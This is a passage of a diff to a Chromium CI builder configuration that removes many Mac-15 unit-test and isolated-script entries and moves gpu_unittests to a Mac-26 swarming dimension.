-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//ui/events:events_unittests",
-        "module_scheme": "gtest",
-        "name": "events_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "events_unittests",
-        "test_id_prefix": "ninja://ui/events:events_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//extensions:extensions_browsertests",
-        "module_scheme": "gtest",
-        "name": "extensions_browsertests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "extensions_browsertests",
-        "test_id_prefix": "ninja://extensions:extensions_browsertests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//extensions:extensions_unittests",
-        "module_scheme": "gtest",
-        "name": "extensions_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "extensions_unittests",
-        "test_id_prefix": "ninja://extensions:extensions_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//components/services/filesystem:filesystem_service_unittests",
-        "module_scheme": "gtest",
-        "name": "filesystem_service_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "filesystem_service_unittests",
-        "test_id_prefix": "ninja://components/services/filesystem:filesystem_service_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//testing/libfuzzer/tests:fuzzing_unittests",
-        "module_scheme": "gtest",
-        "name": "fuzzing_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "fuzzing_unittests",
-        "test_id_prefix": "ninja://testing/libfuzzer/tests:fuzzing_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//google_apis/gcm:gcm_unit_tests",
-        "module_scheme": "gtest",
-        "name": "gcm_unit_tests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "gcm_unit_tests",
-        "test_id_prefix": "ninja://google_apis/gcm:gcm_unit_tests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//ui/gfx:gfx_unittests",
-        "module_scheme": "gtest",
-        "name": "gfx_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "gfx_unittests",
-        "test_id_prefix": "ninja://ui/gfx:gfx_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//gin:gin_unittests",
-        "module_scheme": "gtest",
-        "name": "gin_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "gin_unittests",
-        "test_id_prefix": "ninja://gin:gin_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//google_apis:google_apis_unittests",
-        "module_scheme": "gtest",
-        "name": "google_apis_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "google_apis_unittests",
-        "test_id_prefix": "ninja://google_apis:google_apis_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
         "module_name": "//gpu:gpu_unittests",
         "module_scheme": "gtest",
         "name": "gpu_unittests",
         "swarming": {
           "dimensions": {
             "cpu": "x86-64",
-            "os": "Mac-15"
+            "os": "Mac-26"
           },
           "expiration": 21600,
           "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
         },
         "test": "gpu_unittests",
         "test_id_prefix": "ninja://gpu:gpu_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//components/gwp_asan:gwp_asan_unittests",
-        "module_scheme": "gtest",
-        "name": "gwp_asan_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "gwp_asan_unittests",
-        "test_id_prefix": "ninja://components/gwp_asan:gwp_asan_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//headless:headless_browsertests",
-        "module_scheme": "gtest",
-        "name": "headless_browsertests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "headless_browsertests",
-        "test_id_prefix": "ninja://headless:headless_browsertests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//headless:headless_unittests",
-        "module_scheme": "gtest",
-        "name": "headless_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "headless_unittests",
-        "test_id_prefix": "ninja://headless:headless_unittests/"
-      },
-      {
-        "experiment_percentage": 100,
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//chrome/test:interactive_ui_tests",
-        "module_scheme": "gtest",
-        "name": "interactive_ui_tests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com",
-          "shards": 7
-        },
-        "test": "interactive_ui_tests",
-        "test_id_prefix": "ninja://chrome/test:interactive_ui_tests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//ipc:ipc_tests",
-        "module_scheme": "gtest",
-        "name": "ipc_tests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "ipc_tests",
-        "test_id_prefix": "ninja://ipc:ipc_tests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//ui/latency:latency_unittests",
-        "module_scheme": "gtest",
-        "name": "latency_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "latency_unittests",
-        "test_id_prefix": "ninja://ui/latency:latency_unittests/"
-      },
-      {
-        "ci_only": true,
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//third_party/leveldatabase:leveldb_unittests",
-        "module_scheme": "gtest",
-        "name": "leveldb_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "leveldb_unittests",
-        "test_id_prefix": "ninja://third_party/leveldatabase:leveldb_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//third_party/libjingle_xmpp:libjingle_xmpp_unittests",
-        "module_scheme": "gtest",
-        "name": "libjingle_xmpp_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "libjingle_xmpp_unittests",
-        "test_id_prefix": "ninja://third_party/libjingle_xmpp:libjingle_xmpp_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//third_party/liburlpattern:liburlpattern_unittests",
-        "module_scheme": "gtest",
-        "name": "liburlpattern_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "liburlpattern_unittests",
-        "test_id_prefix": "ninja://third_party/liburlpattern:liburlpattern_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//media:media_unittests",
-        "module_scheme": "gtest",
-        "name": "media_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "media_unittests",
-        "test_id_prefix": "ninja://media:media_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//ui/message_center:message_center_unittests",
-        "module_scheme": "gtest",
-        "name": "message_center_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "message_center_unittests",
-        "test_id_prefix": "ninja://ui/message_center:message_center_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//media/midi:midi_unittests",
-        "module_scheme": "gtest",
-        "name": "midi_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "midi_unittests",
-        "test_id_prefix": "ninja://media/midi:midi_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//mojo:mojo_unittests",
-        "module_scheme": "gtest",
-        "name": "mojo_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "mojo_unittests",
-        "test_id_prefix": "ninja://mojo:mojo_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//ui/native_theme:native_theme_unittests",
-        "module_scheme": "gtest",
-        "name": "native_theme_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "native_theme_unittests",
-        "test_id_prefix": "ninja://ui/native_theme:native_theme_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//net:net_unittests",
-        "module_scheme": "gtest",
-        "name": "net_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "net_unittests",
-        "test_id_prefix": "ninja://net:net_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//chrome/browser/media/router:openscreen_unittests",
-        "module_scheme": "gtest",
-        "name": "openscreen_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "openscreen_unittests",
-        "test_id_prefix": "ninja://chrome/browser/media/router:openscreen_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//pdf:pdf_unittests",
-        "module_scheme": "gtest",
-        "name": "pdf_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "pdf_unittests",
-        "test_id_prefix": "ninja://pdf:pdf_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//third_party/perfetto:perfetto_unittests",
-        "module_scheme": "gtest",
-        "name": "perfetto_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "perfetto_unittests",
-        "test_id_prefix": "ninja://third_party/perfetto:perfetto_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//tools/mac/power:power_sampler_unittests",
-        "module_scheme": "gtest",
-        "name": "power_sampler_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "power_sampler_unittests",
-        "test_id_prefix": "ninja://tools/mac/power:power_sampler_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//printing:printing_unittests",
-        "module_scheme": "gtest",
-        "name": "printing_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "printing_unittests",
-        "test_id_prefix": "ninja://printing:printing_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//remoting:remoting_unittests",
-        "module_scheme": "gtest",
-        "name": "remoting_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "remoting_unittests",
-        "test_id_prefix": "ninja://remoting:remoting_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//sandbox:sandbox_unittests",
-        "module_scheme": "gtest",
-        "name": "sandbox_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "sandbox_unittests",
-        "test_id_prefix": "ninja://sandbox:sandbox_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//services:services_unittests",
-        "module_scheme": "gtest",
-        "name": "services_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "services_unittests",
-        "test_id_prefix": "ninja://services:services_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//ui/shell_dialogs:shell_dialogs_unittests",
-        "module_scheme": "gtest",
-        "name": "shell_dialogs_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "shell_dialogs_unittests",
-        "test_id_prefix": "ninja://ui/shell_dialogs:shell_dialogs_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//skia:skia_unittests",
-        "module_scheme": "gtest",
-        "name": "skia_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "skia_unittests",
-        "test_id_prefix": "ninja://skia:skia_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//ui/snapshot:snapshot_unittests",
-        "module_scheme": "gtest",
-        "name": "snapshot_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "snapshot_unittests",
-        "test_id_prefix": "ninja://ui/snapshot:snapshot_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//sql:sql_unittests",
-        "module_scheme": "gtest",
-        "name": "sql_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "sql_unittests",
-        "test_id_prefix": "ninja://sql:sql_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//storage:storage_unittests",
-        "module_scheme": "gtest",
-        "name": "storage_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "storage_unittests",
-        "test_id_prefix": "ninja://storage:storage_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//chrome/test:sync_integration_tests",
-        "module_scheme": "gtest",
-        "name": "sync_integration_tests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com",
-          "shards": 3
-        },
-        "test": "sync_integration_tests",
-        "test_id_prefix": "ninja://chrome/test:sync_integration_tests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//ui/base:ui_base_unittests",
-        "module_scheme": "gtest",
-        "name": "ui_base_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "ui_base_unittests",
-        "test_id_prefix": "ninja://ui/base:ui_base_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//ui/touch_selection:ui_touch_selection_unittests",
-        "module_scheme": "gtest",
-        "name": "ui_touch_selection_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "ui_touch_selection_unittests",
-        "test_id_prefix": "ninja://ui/touch_selection:ui_touch_selection_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//ui/tests:ui_unittests",
-        "module_scheme": "gtest",
-        "name": "ui_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "ui_unittests",
-        "test_id_prefix": "ninja://ui/tests:ui_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//chrome/test:unit_tests",
-        "module_scheme": "gtest",
-        "name": "unit_tests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com",
-          "shards": 2
-        },
-        "test": "unit_tests",
-        "test_id_prefix": "ninja://chrome/test:unit_tests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//chrome/updater:updater_tests",
-        "module_scheme": "gtest",
-        "name": "updater_tests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "updater_tests",
-        "test_id_prefix": "ninja://chrome/updater:updater_tests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//url:url_unittests",
-        "module_scheme": "gtest",
-        "name": "url_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "url_unittests",
-        "test_id_prefix": "ninja://url:url_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//ui/views:views_unittests",
-        "module_scheme": "gtest",
-        "name": "views_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "views_unittests",
-        "test_id_prefix": "ninja://ui/views:views_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//components/viz:viz_unittests",
-        "module_scheme": "gtest",
-        "name": "viz_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "viz_unittests",
-        "test_id_prefix": "ninja://components/viz:viz_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//third_party/blink/renderer/platform/wtf:wtf_unittests",
-        "module_scheme": "gtest",
-        "name": "wtf_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "wtf_unittests",
-        "test_id_prefix": "ninja://third_party/blink/renderer/platform/wtf:wtf_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//chrome/test:xr_browser_tests",
-        "module_scheme": "gtest",
-        "name": "xr_browser_tests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "xr_browser_tests",
-        "test_id_prefix": "ninja://chrome/test:xr_browser_tests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//third_party/zlib:zlib_unittests",
-        "module_scheme": "gtest",
-        "name": "zlib_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "zlib_unittests",
-        "test_id_prefix": "ninja://third_party/zlib:zlib_unittests/"
       }
     ],
     "isolated_scripts": [
       {
-        "args": [
-          "--test-type=integration"
-        ],
-        "merge": {
-          "script": "//testing/merge_scripts/standard_isolated_script_merge.py"
-        },
-        "module_name": "//chrome/test/chromedriver:chromedriver_py_tests",
-        "name": "chromedriver_py_tests",
-        "resultdb": {
-          "enable": true
-        },
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "chromedriver_py_tests",
-        "test_id_prefix": "ninja://chrome/test/chromedriver:chromedriver_py_tests/"
-      },
-      {
-        "args": [
-          "--test-type=integration"
-        ],
-        "merge": {
-          "script": "//testing/merge_scripts/standard_isolated_script_merge.py"
-        },
-        "module_name": "//chrome/test/chromedriver:chromedriver_py_tests_headless_shell",
-        "name": "chromedriver_py_tests_headless_shell",
-        "resultdb": {
-          "enable": true
-        },
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "chromedriver_py_tests_headless_shell",
-        "test_id_prefix": "ninja://chrome/test/chromedriver:chromedriver_py_tests_headless_shell/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_isolated_script_merge.py"
-        },
-        "module_name": "//chrome/test/chromedriver:chromedriver_replay_unittests",
-        "module_scheme": "single",
-        "name": "chromedriver_replay_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "chromedriver_replay_unittests",
-        "test_id_prefix": "ninja://chrome/test/chromedriver:chromedriver_replay_unittests/"
-      },
-      {
-        "args": [
-          "--gtest-benchmark-name=components_perftests"
-        ],
-        "merge": {
-          "args": [
-            "--smoke-test-mode"
-          ],
-          "script": "//tools/perf/process_perf_results.py"
-        },
-        "module_name": "//components:components_perftests",
-        "module_scheme": "flat",
-        "name": "components_perftests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "components_perftests",
-        "test_id_prefix": "ninja://components:components_perftests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_isolated_script_merge.py"
-        },
-        "module_name": "//content/shell:content_shell_crash_test",
-        "module_scheme": "single",
-        "name": "content_shell_crash_test",
-        "resultdb": {
-          "enable": true,
-          "result_format": "single"
-        },
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "content_shell_crash_test",
-        "test_id_prefix": "ninja://content/shell:content_shell_crash_test/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_isolated_script_merge.py"
-        },
-        "module_name": "//third_party/flatbuffers:flatbuffers_unittests",
-        "module_scheme": "single",
-        "name": "flatbuffers_unittests",
-        "resultdb": {
-          "enable": true,
-          "result_format": "single"
-        },
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "flatbuffers_unittests",
-        "test_id_prefix": "ninja://third_party/flatbuffers:flatbuffers_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_isolated_script_merge.py"
-        },
-        "module_name": "//tools/grit:grit_python_unittests",
-        "module_scheme": "pyunit",
-        "name": "grit_python_unittests",
-        "resultdb": {
-          "enable": true
-        },
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "grit_python_unittests",
